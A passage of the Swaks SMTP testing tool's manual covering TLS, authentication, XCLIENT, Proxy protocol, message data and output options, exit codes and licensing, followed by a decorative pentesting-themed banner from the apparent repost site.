Provide a path to a file containing the local certificate Swaks should use if TLS is negotiated. If a certificate chain needs to be provided, it can be provided via this file or via a separate file with --tls-chain. The file path argument is required. As currently implemented the certificate in the file must be in PEM format. Contact the author if there’s a compelling need for ASN1. If this option is set, --tls-key is also required. (Arg-Required)

–tls-key <key-file>
Provide a path to a file containing the local private key Swaks should use if TLS is negotiated. The file path argument is required. As currently implemented the certificate in the file must be in PEM format. Contact the author if there’s a compelling need for ASN1. If this option is set, --tls-cert is also required. (Arg-Required)

–tls-chain <chain-file>
Provide a path to a file containing the local certificate chain Swaks should use if TLS is negotiated. The file path argument is required. As currently implemented the certificate in the file must be in PEM format. Contact the author if there’s a compelling need for ASN1. If this option is set, --tls-cert and --tls-key are also required. (Arg-Required)

–tls-get-peer-cert [<output-file>]
Get a copy of the TLS peer’s certificate. If no argument is given, it will be displayed to STDOUT. If an argument is given it is assumed to be a filesystem path specifying where the certificate should be written. The saved certificate can then be examined using standard tools such as the openssl command. If a file is specified its contents will be overwritten. This option will only ever return one certificate. In order to get every certificate sent by the server, see --tls-get-peer-chain. (Arg-Optional)

–tls-get-peer-chain [<output-file>]
Get a copy of the TLS certificate chain sent by the server. If no argument is given, it will be displayed to STDOUT. If an argument is given it is assumed to be a filesystem path specifying where the certificate should be written. The saved chain can then be examined using standard tools such as the openssl command. If a file is specified its contents will be overwritten. See also --tls-get-peer-cert. (Arg-Optional)

–tls-sni <sni-string>
Specify the Server Name Indication field to send when the TLS connection is initiated. (Arg-Required)

AUTHENTICATION

Swaks will attempt to authenticate to the target mail server if instructed to do so. This section details available authentication types, requirements, options and their interactions, and other fine points in authentication usage. Because authentication is defined as an extension in the ESMTP protocol it will be unavailable if --protocol is set to a variation of SMTP.

All authentication methods require base64 encoding. If the MIME::Base64 Perl module is loadable Swaks attempts to use it to perform these encodings. If MIME::Base64 is not available Swaks will use its own onboard base64 routines. These are slower than the MIME::Base64 routines and less reviewed, though they have been tested thoroughly. Using the MIME::Base64 module is encouraged.

If authentication is required (see options below for when it is and isn’t required) and the requirements aren’t met for the authentication type available, Swaks displays an error and exits. Two ways this can happen include forcing Swaks to use a specific authentication type that Swaks can’t use due to missing requirements, or allowing Swaks to use any authentication type, but the server only advertises types Swaks can’t support. In the former case Swaks errors out at option processing time since it knows up front it won’t be able to authenticate. In the latter case Swaks will error out at the authentication stage of the SMTP transaction since Swaks will not be aware that it will not be able to authenticate until that point.

Following are the supported authentication types including any individual notes and requirements.

The following options affect Swaks’ use of authentication. These options are all inter-related. For instance, specifying --auth-user implies --auth and --auth-password. Specifying --auth-optional implies --auth-user and --auth-password, etc.

-a, –auth [<auth-type>[,<auth-type>[,…]]]
Require Swaks to authenticate. If no argument is given, any supported auth-types advertised by the server are tried until one succeeds or all fail. If one or more auth-types are specified as an argument, each that the server also supports is tried in order until one succeeds or all fail. This option requires Swaks to authenticate, so if no common auth-types are found or no credentials succeed, Swaks displays an error and exits. (Arg-Optional) The following tables lists the valid auth-types

LOGIN, PLAIN
These basic authentication types are fully supported and tested and have no additional requirements

CRAM-MD5
The CRAM-MD5 authenticator requires the Digest::MD5 module. It is fully tested and believed to work against any server that implements it.

DIGEST-MD5
The DIGEST-MD5 authenticator (RFC2831) requires the Authen::SASL module. Version 20100211.0 and earlier used Authen::DigestMD5 which had some protocol level errors which prevented it from working with some servers. Authen::SASL’s DIGEST-MD5 handling is much more robust. The DIGEST-MD5 implementation in Swaks is fairly immature. It currently supports only the auth qop type, for instance. If you have DIGEST-MD5 experience and would like to help Swaks support DIGEST-MD5 better, please get in touch with me. The DIGEST-MD5 protocol’s realm value can be set using the --auth-extra realm keyword. If no realm is given, a reasonable default will be used. The DIGEST-MD5 protocol’s digest-uri values can be set using the --auth-extra option. For instance, you could create the digest-uri-value of lmtp/mail.example.com/example.com with the option --auth-extra dmd5-serv-type=lmtp,dmd5-host=mail.example.com,dmd5-serv-name=example.com. The digest-uri-value string and its components is defined in RFC2831. If none of these values are given, reasonable defaults will be used.

CRAM-SHA1
The CRAM-SHA1 authenticator requires the Digest::SHA module. This type has only been tested against a non-standard implementation on an Exim server and may therefore have some implementation deficiencies.

NTLM/SPA/MSN
These authenticators require the Authen::NTLM module. This type has been tested against Exim, Communigate, and Exchange 2007. In addition to the standard username and password, this authentication type can also recognize a domain. The domain can be set using the --auth-extra domain keyword. Note that this has never been tested with a mail server that doesn’t ignore DOMAIN so this may be implemented incorrectly.

-ao, –auth-optional [<auth-type>[,<auth-type>[,…]]]
This option behaves identically to --auth except that it requests authentication rather than requiring it. If no common auth-types are found or no credentials succeed, Swaks proceeds as if authentication had not been requested. (Arg-Optional)

-aos, –auth-optional-strict [<auth-type>[,<auth-type>[,…]]]
This option is a compromise between --auth and --auth-optional. If authentication is never attempted (server doesn’t advertise authentication or no common authentication types are found), it behaves like --auth-optional and the smtp transaction continues. If authentication is attempted but fails, it behaves like --auth and exits with an error. (Arg-Optional)

-au, –auth-user [<username>]
Provide the username to be used for authentication. If no username is provided, indicate that Swaks should attempt to find the username via .netrc (requires the Net::Netrc module). If no username is provided and cannot be found via .netrc, the user will be prompted to provide one. The string <> can be supplied to mean an empty username. (Arg-Required, From-Prompt)

-ap, –auth-password [<password>]
Provide the password to be used for authentication. If no password is provided, indicate that Swaks should attempt to find the password via .netrc (requires the Net::Netrc module). If no password is provided and cannot be found via .netrc, the user will be prompted to provide one. The string <> can be supplied to mean an empty password. (Arg-Required, From-Prompt, Sensitive)

-ae, –auth-extra <key-value-pair>[,<key-value-pair>[,…]]
Some of the authentication types allow extra information to be included in the authentication process. Rather than add a new option for every nook and cranny of each authenticator, the --auth-extra option allows this information to be supplied. The format for <key-value-pair> is KEYWORD=VALUE. (Arg-Required) The following table lists the currently recognized keywords and the authenticators that use them

realm, domain
The realm and domain keywords are synonymous. Using either will set the domain option in NTLM/MSN/SPA and the realm option in DIGEST-MD5

dmd5-serv-type
The dmd5-serv-type keyword is used by the DIGEST-MD5 authenticator and is used, in part, to build the digest-uri-value string (see RFC2831)

dmd5-host
The dmd5-host keyword is used by the DIGEST-MD5 authenticator and is used, in part, to build the digest-uri-value string (see RFC2831)

dmd5-serv-name
The dmd5-serv-name keyword is used by the DIGEST-MD5 authenticator and is used, in part, to build the digest-uri-value string (see RFC2831)

-am, –auth-map <key-value-pair>[,<key-value-pair>[,…]]
Provides a way to map alternate names onto base authentication types. Useful for any sites that use alternate names for common types. The format for <key-value-pair> is AUTH-ALIAS=AUTH-TYPE. This functionality is actually used internally to map types SPA and MSN onto the base type NTLM. The command line argument to simulate this would be --auth-map SPA=NTLM,MSN=NTLM. All of the auth-types listed above are valid targets for mapping except SPA and MSN. (Arg-Required)

-apt, –auth-plaintext
Instead of showing AUTH strings base64 encoded as they are transmitted, translate them to plaintext before printing on screen. (Arg-None)

-ahp, –auth-hide-password [<replacement-string>]
If this option is specified, any time a readable password would be printed to the terminal (specifically AUTH PLAIN and AUTH LOGIN) the password is replaced with the string ‘PROVIDED_BUT_REMOVED’ (or the contents of <replacement-string> if provided). The dummy string may or may not be base64 encoded, contingent on the --auth-plaintext option. Note that --auth-hide-password is similar, but not identical, to the --protect-prompt option. The former protects passwords from being displayed in the SMTP transaction regardless of how they are entered. The latter protects sensitive strings when the user types them at the terminal, regardless of how the string would be used. (Arg-Optional)

XCLIENT OPTIONS

XCLIENT is an SMTP extension introduced by the Postfix project. XCLIENT allows a (properly-authorized) client to tell a server to use alternate information, such as IP address or hostname, for the client. This allows much easier paths for testing mail server configurations. Full details on the protocol are available at <http://www.postfix.org/XCLIENT_README.html>.

The XCLIENT verb can be passed to the server multiple times per SMTP session with different attributes. For instance, HELO and PROTO might be passed in one call and NAME and ADDR passed in a second. Because it can be useful for testing, Swaks exposes some control over how the attributes are grouped and in what order they are passed to the server. The different options attempt to expose simplicity for those using Swaks as a client, and complexity for those using Swaks to test installs.

–xclient-addr [<string>]

–xclient-name [<string>]

–xclient-port [<string>]

–xclient-proto [<string>]

–xclient-destaddr [<string>]

–xclient-destport [<string>]

–xclient-helo [<string>]

–xclient-login [<string>]

–xclient-reverse-name [<string>]

These options specify XCLIENT attributes that should be sent to the target server. If <string> is not provided, Swaks will prompt and read the value on STDIN. See <http://www.postfix.org/XCLIENT_README.html> for official documentation for what the attributes mean and their possible values, including the special [UNAVAILABLE] and [TEMPUNAVAIL] values. By way of simple example, setting --xclient-name foo.example.com --xclient-addr 192.168.1.1 will cause Swaks to send the SMTP command XCLIENT NAME=foo.example.com ADDR=192.168.1.1. Note that the REVERSE_NAME attribute doesn’t seem to appear in the official documentation. There is a mailing list thread that documents it, viewable at <http://comments.gmane.org/gmane.mail.postfix.user/192623>. These options can all be mixed with each other, and can be mixed with the --xclient option (see below). By default all attributes will be combined into one XCLIENT call, but see --xclient-delim. (Arg-Required, From-Prompt)

–xclient-delim
When this option is specified, it indicates a break in XCLIENT attributes to be sent. For instance, setting --xclient-helo helo string --xclient-delim --xclient-name foo.example.com --xclient-addr 192.168.1.1 will cause Swaks to send two XCLIENT calls, XCLIENT HELO=helo+20string and XCLIENT NAME=foo.example.com ADDR=192.168.1.1. This option is ignored where it doesn’t make sense (at the start or end of XCLIENT options, by itself, consecutively, etc). (Arg-None)

–xclient [<string>]
This is the free form XCLIENT option. Whatever value is provided for <string> will be sent verbatim as the argument to the XCLIENT SMTP command. For example, if --xclient NAME= ADDR=192.168.1.1 FOO=bar is used, Swaks will send the SMTP command XCLIENT NAME= ADDR=192.168.1.1 FOO=bar. If no argument is passed on command line, Swaks will prompt and read the value on STDIN. The primary advantage to this over the more specific options above is that there is no XCLIENT syntax validation here. This allows you to send invalid XCLIENT to the target server for testing. Additionally, at least one MTA (Message Systems’ Momentum, formerly ecelerity) implements XCLIENT without advertising supported attributes. The --xclient option allows you to skip the supported attributes check when communicating with this type of MTA (though see also --xclient-no-verify). The --xclient option can be mixed freely with the --xclient-* options above. The argument to --xclient will be sent in its own command group. For instance, if --xclient-addr 192.168.0.1 --xclient-port 26 --xclient FOO=bar NAME=wind is given to Swaks, XCLIENT ADDR=192.168.0.1 PORT=26 and XCLIENT FOO=bar NAME=wind will both be sent to the target server. (Arg-Required, From-Prompt)

–xclient-no-verify
Do not enforce the requirement that an XCLIENT attribute must be advertised by the server in order for Swaks to send it in an XCLIENT command. This is to support servers which don’t advertise the attributes but still support them. (Arg-None)

–xclient-before-starttls
If Swaks is configured to attempt both XCLIENT and STARTTLS, it will do STARTTLS first. If this option is specified it will attempt XCLIENT first. (Arg-None)

–xclient-optional

–xclient-optional-strict

In normal operation, setting one of the --xclient* options will require a successful XCLIENT transaction to take place in order to proceed (that is, XCLIENT needs to be advertised, all the user-requested attributes need to have been advertised, and the server needs to have accepted Swaks’ XCLIENT request). These options change that behavior. --xclient-optional tells Swaks to proceed unconditionally past the XCLIENT stage of the SMTP transaction, regardless of whether it was successful. --xclient-optional-strict is similar but more granular. The strict version will continue to XCLIENT was not advertised, but will fail if XCLIENT was attempted but did not succeed. (Arg-None)

PROXY OPTIONS

Swaks implements the Proxy protocol as defined in <http://www.haproxy.org/download/1.5/doc/proxy-protocol.txt>. Proxy allows an application load balancer, such as HAProxy, to be used in front of an MTA while still allowing the MTA access to the originating host information. Proxy support in Swaks allows direct testing of an MTA configured to expect requests from a proxy, bypassing the proxy itself during testing.

Swaks makes no effort to ensure that the Proxy options used are internally consistent. For instance, --proxy-family (in version 1) is expected to be one of TCP4 or TCP6. While it will likely not make sense to the target server, Swaks makes no attempt to ensure that --proxy-source and --proxy-dest are in the same protocol family as --proxy-family or each other.

The --proxy option is mutually exclusive with all other --proxy-* options except --proxy-version.

When --proxy is not used, all of --proxy-family, --proxy-source, --proxy-source-port, --proxy-dest, and --proxy-dest-port are required. Additionally, when --proxy-version is 2, --proxy-protocol and --proxy-command are optional.

–proxy-version [ 1 | 2 ]
Whether to use version 1 (human readable) or version 2 (binary) of the Proxy protocol. Version 1 is the default. Version 2 is only implemented through the address block, and is roughly on par with the information provided in version 1. (Arg-Required, From-Prompt)

–proxy [<string>]
This option provides the raw proxy string which will be sent to the server. The protocol prefix (PROXY for version 1, the 12-byte protocol header for version 2) can be present or not in the argument. This option allows sending incomplete or malformed Proxy strings to a target server for testing. This option is mutually exclusive with all other --proxy-* options which provide granular proxy information. Because version 2 of the Proxy protocol is a binary protocol, there are multiple ways to provide the argument to this option. If the argument starts with base64:, that prefix is stripped and the rest of the string is base64 decoded before use. If the argument starts with @ it will be treated as a filename and the proxy value will be read from the file. Any other value is assumed to be the literal value for the proxy string. (Arg-Required, From-Prompt, From-File)

–proxy-family [<string>]
For version 1, specifies both the address family and transport protocol. The protocol defines TCP4 and TCP6. For version 2, specifies only the address family. The protocol defines AF_UNSPEC, AF_INET, AF_INET6, and AF_UNIX. (Arg-Required, From-Prompt)

–proxy-protocol [<string>]
For version 2, specifies the transport protocol. The protocol defines UNSPEC, STREAM, and DGRAM. The default is STREAM. This option is unused in version 1. (Arg-Required, From-Prompt)

–proxy-command [<string>]
For version 2, specifies the transport protocol. The protocol defines LOCAL and PROXY. The default is PROXY. This option is unused in version 1. (Arg-Required, From-Prompt)

–proxy-source [<string>]
Specify the source address of the proxied connection. (Arg-Required, From-Prompt)

–proxy-source-port [<string>]
Specify the source port of the proxied connection. (Arg-Required, From-Prompt)

–proxy-dest [<string>]
Specify the destination address of the proxied connection. (Arg-Required, From-Prompt)

–proxy-dest-port [<string>]
Specify the destination port of the proxied connection. (Arg-Required, From-Prompt)

DATA OPTIONS

These options pertain to the contents for the DATA portion of the SMTP transaction. By default a very simple message is sent. If the --attach or --attach-body options are used, Swaks attempts to upgrade to a MIME message.

-d, –data [<data-portion>]
Use argument as the entire contents of DATA. If no argument is provided, user will be prompted to supply value. If the argument - is provided the data will be read from STDIN with no prompt. If the argument starts with @ it will be treated as a filename. If you would like to pass in an argument that starts with @ and isn’t a filename, prefix the argument with an additional @. For example, @file.txt will force processing of file.txt. @@data will use the string ‘@data’. If the argument does not contain any literal (0x0a) or representative (0x5c, 0x6e or %NEWLINE%) newline characters, it will be treated as a filename. If the file is open-able, the contents of the file will be used as the data portion. If the file cannot be opened, Swaks will error and exit. The entire behavior described in this paragraph is deprecated and will be removed in a future release. Instead use a leading @ to explicitly set that the argument is a filename. Any other argument will be used as the DATA contents. The value can be on one single line, with (ASCII 0x5c, 0x6e) representing where line breaks should be placed. Leading dots will be quoted. Closing dot is not required but is allowed. The default value for this option is Date: %DATE% To: %TO_ADDRESS% From: %FROM_ADDRESS% Subject: test %DATE% Message-Id: <%MESSAGEID%> X-Mailer: swaks v%SWAKS_VERSION% jetmore.org/john/code/swaks/ %NEW_HEADERS% %BODY% . Very basic token parsing is performed on the DATA portion. The following table shows the recognized tokens and their replacement values. (Arg-Required, From-Prompt, From-File)

%FROM_ADDRESS%, ..FROM_ADDRESS..
Replaced with the envelope-sender.

%TO_ADDRESS%, ..TO_ADDRESS..
Replaced with the envelope-recipient(s) set by the --to option.

%CC_ADDRESS%, ..CC_ADDRESS..
Replaced with the envelope-recipient(s) set by the --cc option.

%BCC_ADDRESS%, ..BCC_ADDRESS..
Replaced with the envelope-recipient(s) set by the --bcc option.

%DATE%, ..DATE..
Replaced with the current time in a format suitable for inclusion in the Date: header. Note this attempts to use the standard module POSIX for timezone calculations. If this module is unavailable or the current environment doesn’t support the %z strftime format token (as on Windows) the date string will be in GMT.

%MESSAGEID%, ..MESSAGEID..
Replaced with a message ID string suitable for use in a Message-Id header. The value for this token will remain consistent for the life of the process.

%SWAKS_VERSION%, ..SWAKS_VERSION..
Replaced with the version of the currently-running Swaks process.

%NEW_HEADERS%, ..NEW_HEADERS..
Replaced with the contents of the --add-header option. If --add-header is not specified this token is simply removed.

%BODY%, ..BODY..
Replaced with the value specified by the --body option. See --body for default.

%NEWLINE%, ..BODY..
Replaced with carriage return, newline (0x0d, 0x0a). This is identical to using (0x5c, 0x6e), but doesn’t have the escaping concerns that the backslash can cause on the newline.

-dab, –dump-as-body [<section>[,<section>[,…]]]
If --dump-as-body is used and no other option is used to change the default body of the message, the body is replaced with output similar to the output of what is provided by --dump. --dump’s initial program capability stanza is not displayed, and the data section is not included. Additionally, --dump always includes passwords. By default --dump-as-body does not include passwords, though this can be changed with --dump-as-body-shows-password. --dump-as-body takes the same arguments as --dump except the SUPPORT and DATA arguments are not supported. (Arg-Optional)

-dabsp, –dump-as-body-shows-password
Cause --dump-as-body to include plaintext passwords. This option is not recommended. This option implies --dump-as-body. (Arg-None)

–body [<body-specification>]
Specify the body of the email. The default is This is a test mailing. If no argument to --body is given, prompt to supply one interactively. If - is supplied, the body will be read from standard input. Arguments beginning with @ will be treated as filenames containing the body data to use (see --data for more detail). If, after the above processing, the argument represents an open-able file, the content of that file is used as the body. This is deprecated behavior and will be removed in a future release. Instead use a leading @ to explicitly set that the argument is a filename. If the message is forced to MIME format (see --attach) --body body text is the same as --attach-type text/plain --attach-body body text. See --attach-body for details on creating a multipart/alternative body. (Arg-Required, From-Prompt, From-File)

–attach [<attachment-specification>]
When one or more --attach option is supplied, the message is changed into a multipart/mixed MIME message. The arguments to --attach are processed the same as --body with respect to STDIN, file contents, etc. --attach can be supplied multiple times to create multiple attachments. By default, each attachment is attached as an application/octet-stream file. See --attach-type for changing this behavior. If the contents of the attachment are provided via a file name, the MIME encoding will include that file name. See --attach-name for more detail on file naming. It is legal for - (STDIN) to be specified as an argument multiple times (once for --body and multiple times for --attach). In this case, the same content will be attached each time it is specified. This is useful for attaching the same content with multiple MIME types. (Arg-Required, From-File)

–attach-body [<body-specification>]
This is a variation on --attach that is specifically for the body part of the email. It behaves identically to --attach in that it takes the same arguments and forces the creation of a MIME message. However, it is different in that the argument will always be the first MIME part in the message, no matter where in option processing order it is encountered. Additionally, --attach-body options stack to allow creation of multipart/alternative bodies. For example, --attach-type text/plain --attach-body plain text body --attach-type text/html --attach-body html body would create a multipart/alternative message body. (Arg-Required, From-File)

–attach-type <mime-type>
By default, content that gets MIME attached to a message with the --attach option is encoded as application/octet-stream (except for the body, which is text/plain by default). --attach-type changes the mime type for every --attach option which follows it. It can be specified multiple times. The current MIME type gets reset to application/octet-stream between processing body parts and other parts. (Arg-Required)

–attach-name [<name>]
This option sets the filename that will be included in the MIME part created for the next --attach option. If no argument is set for this option, it causes no filename information to be included for the next MIME part, even if Swaks could generate it from the local file name. (Arg-Optional)

-ah, –add-header <header>
This option allows headers to be added to the DATA. If %NEW_HEADERS% is present in the DATA it is replaced with the argument to this option. If %NEW_HEADERS% is not present, the argument is inserted between the first two consecutive newlines in the DATA (that is, it is inserted at the end of the existing headers). The option can either be specified multiple times or a single time with multiple headers separated by a literal string. So, --add-header Foo: bar --add-header Baz: foo" and "--add-header Foo: bar Baz: foo end up adding the same two headers. (Arg-Required)

–header <header-and-data>, –h-<header> <data>
These options allow a way to change headers that already exist in the DATA. --header Subject: foo and --h-Subject foo are equivalent. If the header does not already exist in the data then this argument behaves identically to --add-header. However, if the header already exists it is replaced with the one specified. Negating the version of this option with the header name in the option (eg --no-header-Subject) will remove all previously processed --header options, not just the ones used for ‘Subject’. Embedding the header name in the option via environment variable is not supported on Windows and will result in an error. (Arg-Required)

-g
This option is a direct alias to --data - (read DATA from STDIN). It is totally secondary to --data. Any occurrence of --data will cause -g to be ignored. This option cannot be negated with the no- prefix. This option is deprecated and will be removed in a future version of Swaks. (Arg-None, Deprecated)

–no-data-fixup, -ndf
This option forces Swaks to do no massaging of the DATA portion of the email. This includes token replacement, From_ stripping, trailing-dot addition, --body/attachment inclusion, and any header additions. This option is only useful when used with --data, since the internal default DATA portion uses tokens. (Arg-None)

–no-strip-from, -nsf
Don’t strip the From_ line from the DATA portion, if present. (Arg-None)

OUTPUT OPTIONS

Swaks provides a transcript of its transactions to its caller (STDOUT/STDERR) by default. This transcript aims to be as faithful a representation as possible of the transaction though it does modify this output by adding informational prefixes to lines and by providing plaintext versions of TLS transactions

The informational prefixes are referred to as transaction hints. These hints are initially composed of those marking lines that are output of Swaks itself, either informational or error messages, and those that indicate a line of data actually sent or received in a transaction. This table indicates the hints and their meanings:

“===”
Indicates an informational line generated by Swaks.

“***”
Indicates an error generated within Swaks.

" ->"
Indicates an expected line sent by Swaks to target server.

" ~>"
Indicates a TLS-encrypted, expected line sent by Swaks to target server.

“**>”
Indicates an unexpected line sent by Swaks to the target server.

“*~>”
Indicates a TLS-encrypted, unexpected line sent by Swaks to target server.

" >"
Indicates a raw chunk of text sent by Swaks to a target server (see --show-raw-text). There is no concept of expected or unexpected at this level.

“<- "
Indicates an expected line sent by target server to Swaks.

“<~ "
Indicates a TLS-encrypted, expected line sent by target server to Swaks.

“<**”
Indicates an unexpected line sent by target server to Swaks.

“<~*”
Indicates a TLS-encrypted, unexpected line sent by target server to Swaks.

“< "
Indicates a raw chunk of text received by Swaks from a target server (see --show-raw-text). There is no concept of expected or unexpected at this level.

The following options control what and how output is displayed to the caller.

-n, –suppress-data
Summarizes the DATA portion of the SMTP transaction instead of printing every line. This option is very helpful, bordering on required, when using Swaks to send certain test emails. Emails with attachments, for instance, will quickly overwhelm a terminal if the DATA is not suppressed. (Arg-None)

-stl, –show-time-lapse [i]
Display time lapse between send/receive pairs. This option is most useful when Time::HiRes is available, in which case the time lapse will be displayed in thousandths of a second. If Time::HiRes is unavailable or i is given as an argument the lapse will be displayed in integer seconds only. (Arg-Optional) Don’t display the transaction hint for informational transactions. This is most useful when needing to copy some portion of the informational lines, for instance the certificate output from --tls-get-peer-cert. (Arg-None)

-nih, –no-info-hints

-nsh, –no-send-hints

-nrh, –no-receive-hints

-nth, –no-hints

--no-info-hints, --no-send-hints, and --no-receive-hints suppress the transaction hints from info, send, and receive lines, respectively. This is often useful when copying some portion of the transaction for use elsewhere (for instance, --no-send-hints --hide-receive --hide-informational is a useful way to get only the client-side commands for a given transaction and --no-info-hints --tls-get-peer-cert for copying the peer certificate). --no-hints is identical to specifying --no-info-hints --no-send-hints --no-receive-hints. (Arg-None)

-raw, –show-raw-text
This option will print a hex dump of raw data sent and received by Swaks. Each hex dump is the contents of a single read or write on the network. This should be identical to what is already being displayed (with the exception of the characters being removed). This option is useful in seeing details when servers are sending lots of data in single packets, or breaking up individual lines into multiple packets. If you really need to go in depth in that area you’re probably better with a packet sniffer, but this option is a good first step to seeing odd connection issues. (Arg-None)

–output, –output-file <file-path>

–output-file-stdout <file-path>

–output-file-stderr <file-path>

These options allow the user to send output to files instead of STDOUT/STDERR. The first option sends both to the same file. The arguments of &STDOUT and &STDERR are treated specially, referring to the normal file handles, so --output-file-stderr &STDOUT would redirect STDERR to STDOUT. These options are honored for all output except --help and --version. (Arg-Required)

-pp, –protect-prompt
Don’t echo user input on prompts that are potentially sensitive (right now only authentication password). Very specifically, any option which is marked ‘Sensitive’ and eventually prompts for an argument will do its best to mask that argument from being echoed. See also --auth-hide-password. (Arg-None)

-hr, –hide-receive
Don’t display lines sent from the remote server being received by Swaks. (Arg-None)

-hs, –hide-send
Don’t display lines being sent by Swaks to the remote server. (Arg-None)

-hi, –hide-informational
Don’t display non-error informational lines from Swaks itself. (Arg-None)

-ha, –hide-all
Do not display any content to the terminal. (Arg-None)

-S, –silent [ 1 | 2 | 3 ]
Cause Swaks to be silent. If no argument is given or if an argument of 1 is given, print no output unless/until an error occurs, after which all output is shown. If an argument of 2 is given, only print errors. If 3 is given, show no output ever. --silent affects most output but not all. For instance, --help, --version, --dump, and --dump-mail are not affected. For historical reasons, -S is not settable via environment variable on Windows, use SWAKS_OPT_silent instead. (Arg-Optional)

–support
Print capabilities and exit. Certain features require non-standard Perl modules. This option evaluates whether these modules are present and displays which functionality is available and which isn’t, and which modules would need to be added to gain the missing functionality. (Arg-None)

–dump-mail
Cause Swaks to process all options to generate the message it would send, then print that message to STDOUT instead of sending it. This output is identical to the data section of --dump, except without the trailing dot. (Arg-None)

–dump [<section>[,<section>[,…]]]
This option causes Swaks to print the results of option processing, immediately before mail would have been sent. No mail will be sent when --dump is used. Note that --dump is a pure self-diagnosis tool and no effort is made or will ever be made to mask passwords in the --dump output. If a section is provided as an argument to this option, only the requested section will be shown. Currently supported arguments are SUPPORT, APP, OUTPUT, TRANSPORT, PROTOCOL, XCLIENT, PROXY, TLS, AUTH, DATA, and ALL. If no argument is provided, all sections are displayed (Arg-Optional)

–help
Display this help information and exit. (Arg-None)

–version
Display version information and exit. (Arg-None)

DEPRECATIONS

The following features are deprecated and will be removed in a future version of Swaks

use of IO::Socket and IO::Socket::INET6 modules
Will be removed no sooner than (February 1, 2025). The primary method of sending over IPv4 and IPv6 sockets is implemented with the IO::Socket::IP module. For the time being there is still legacy support of the IO::Socket and IO::Socket::INET6 modules which were previously used. Please ensure IO::Socket::IP is installed to ensure future functionality.

PORTABILITY

OPERATING SYSTEMS
This program was primarily intended for use on UNIX-like operating systems, and it should work on any reasonable version thereof. It has been developed and tested on Solaris, Linux, and Mac OS X and is feature complete on all of these. This program is known to demonstrate basic functionality on Windows using Strawberry Perl. In all documentation, unless otherwise noted, Windows refers to running Swaks via CMD.exe, not WSL or cygwin. It has not been fully tested, but known to work are basic SMTP functionality and the LOGIN, PLAIN, and CRAM-MD5 auth types. Unknown is any TLS functionality and the NTLM/SPA and DIGEST-MD5 auth types. Some functionality is known to be limited on Windows, including inability to embed header name in environment variables (see CONFIGURATION ENVIRONMENT VARIABLES and --header), inability to generate a local-timezone date string (see %DATE% token under --data), inability to use -S option as an environment variable (see --silent), and inability to have a set but empty value in an environment variable (see CONFIGURATION ENVIRONMENT VARIABLES for workaround). Because this program should work anywhere Perl works, I would appreciate knowing about any new operating systems you’ve thoroughly used Swaks on as well as any problems encountered on a new OS.

MAIL SERVERS
This program was almost exclusively developed against Exim mail servers. It has been used casually by the author, though not thoroughly tested, with Sendmail, Smail, Exchange, Oracle Collaboration Suite, qpsmtpd, and Communigate. Because all functionality in Swaks is based on known standards it should work with any fairly modern mail server. If a problem is found, please alert the author at the address below.

ENVIRONMENT VARIABLES

LOGNAME
If Swaks must create a sender address, $LOGNAME is used as the message local-part if it is set, and unless --force-getpwuid is used.

SWAKS_HOME
Used when searching for a .swaksrc configuration file. See OPTION PROCESSING -> CONFIGURATION FILES above.

SWAKS_OPT_*
Environment variable prefix used to specify Swaks options from environment variables. See OPTION PROCESSING -> CONFIGURATION ENVIRONMENT VARIABLES above.

EXIT CODES

  1. no errors occurred

  2. error parsing command line options

  3. error connecting to remote server

  4. unknown connection type

  5. while running with connection type of pipe, fatal problem writing to or reading from the child process

  6. while running with connection type of pipe, child process died unexpectedly. This can mean that the program specified with --pipe doesn’t exist.

  7. Connection closed unexpectedly. If the close is detected in response to the ‘QUIT’ Swaks sends following an unexpected response, the error code for that unexpected response is used instead. For instance, if a mail server returns a 550 response to a MAIL FROM: and then immediately closes the connection, Swaks detects that the connection is closed, but uses the more specific exit code 23 to detail the nature of the failure. If instead the server return a 250 code and then immediately closes the connection, Swaks will use the exit code 6 because there is not a more specific exit code.

  8. error in prerequisites (needed module not available)

  9. error reading initial banner from server

  10. error in HELO transaction

  11. error in MAIL transaction

  12. no RCPTs accepted

  13. server returned error to DATA request

  14. server did not accept mail following data

  15. server returned error after normal-session quit request

  16. error in AUTH transaction

  17. error in TLS transaction

  18. PRDR requested/required but not advertised

  19. error in EHLO following TLS negotiation

  20. error in XCLIENT transaction

  21. error in EHLO following XCLIENT

  22. error in PROXY option processing

  23. error sending PROXY banner

ABOUT THE NAME

The name Swaks is a (sort-of) acronym for SWiss Army Knife SMTP. It was chosen to be fairly distinct and pronounceable. While Swaks is unique as the name of a software package, it has some other, non-software meanings. Please send in other uses of swak or swaks for inclusion.

“Sealed With A Kiss”
SWAK/SWAKs turns up occasionally on the internet with the meaning with love.

bad / poor / ill (Afrikaans)
Seen in the headline SA se bes en swaks gekledes in 2011, which was translated as best and worst dressed by native speakers. Google Translate doesn’t like swaks gekledes, but it will translate swak as poor and swak geklede as ill-dressed.

LICENSE

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA.

CONTACT INFORMATION

General contact, questions, patches, requests, etc to [email protected].

Change logs, this help, and the latest version are found at <http://www.jetmore.org/john/code/swaks/>.

Swaks is crafted with love by John Jetmore from the cornfields of Indiana, United States of America.

NOTIFICATIONS

Email
[email protected] If you would like to be put on a list to receive notifications when a new version of Swaks is released, please send an email to this address. There will not be a response to your email.

Website
<http://www.jetmore.org/john/blog/c/swaks/>

RSS Feed
<http://www.jetmore.org/john/blog/c/swaks/feed/>

Twitter
<http://twitter.com/SwaksSMTP>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

